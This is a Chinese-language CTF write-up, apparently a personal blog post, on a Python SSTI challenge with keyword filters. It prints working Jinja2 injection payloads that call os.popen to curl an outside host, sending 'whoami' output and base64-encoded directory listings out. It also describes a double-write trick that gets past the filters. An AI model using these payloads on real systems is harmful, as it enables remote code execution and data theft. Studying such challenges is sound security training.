参考:https://www.cnblogs.com/karsa/p/13523730.html
抓包没啥,除非要扫目录,
啊,,就是直接返回的逻辑,,xss也是直接返回,也就说明有某些机制了,然后想去闭合一些标签,但是都没成功,
别了,想到了ssti,试了一下:{{2*2}}
,报错了
Parse error: syntax error, unexpected T_STRING, expecting '{' in \var\WWW\html\test.php on line 13
而且,还不能处理中文??啊手动阀
一个{
不报错,{{
两个就报错,这是为什么,,,可能是PHP中输出变量用了{}
来包裹起来了??
看WP把。。啊,,这个题是真的狗,,,
啊,,WP说是SSTI注入,但是过滤了{{
。。吐了要用{%
。但是这里的报错是PHP的报错呀,,
作者说加了个php模式的报错和index.php路由。好吧,直接被骗到了。其实这里也能猜到可能是故意迷惑的,继续往下走。
测试发现{{
会被过滤,然后就看bypass的payload,,,low的很,找前辈们写的SSTI绕过,看这个。
直接用文章中payload打:
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl https://qwert.free.beeceptor.com/?i=`whoami`').read()=='p' %}1{% endif %}
发现此payload中的if、os、class、mro,config,popen都会被过滤成空,那采取双写绕过的思想
os使用oconfigs,if使用iconfigf,class使用claconfigss,mro使用mrconfigo,popen使用popconfigen
payload:
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl ip:5555/ -d `ls /|base64`;') %}1{% endiconfigf %}
注意,这里有几个点:
1. 所有被过滤的关键词都要进行相应替换
2. 这里执行的是curl 靶机ip。需要在buu中另开一台linux靶机进行监听
3. ls /是不行的,猜测会直接执行,所以要先用base加密输出,才可输出所有目录。
4. ls / |base64 要用反引号括起来,
app
bin
boot
dev
etc
flag_1s_Hera
home
lib
lib64
media
mn
然后换一下命令就好了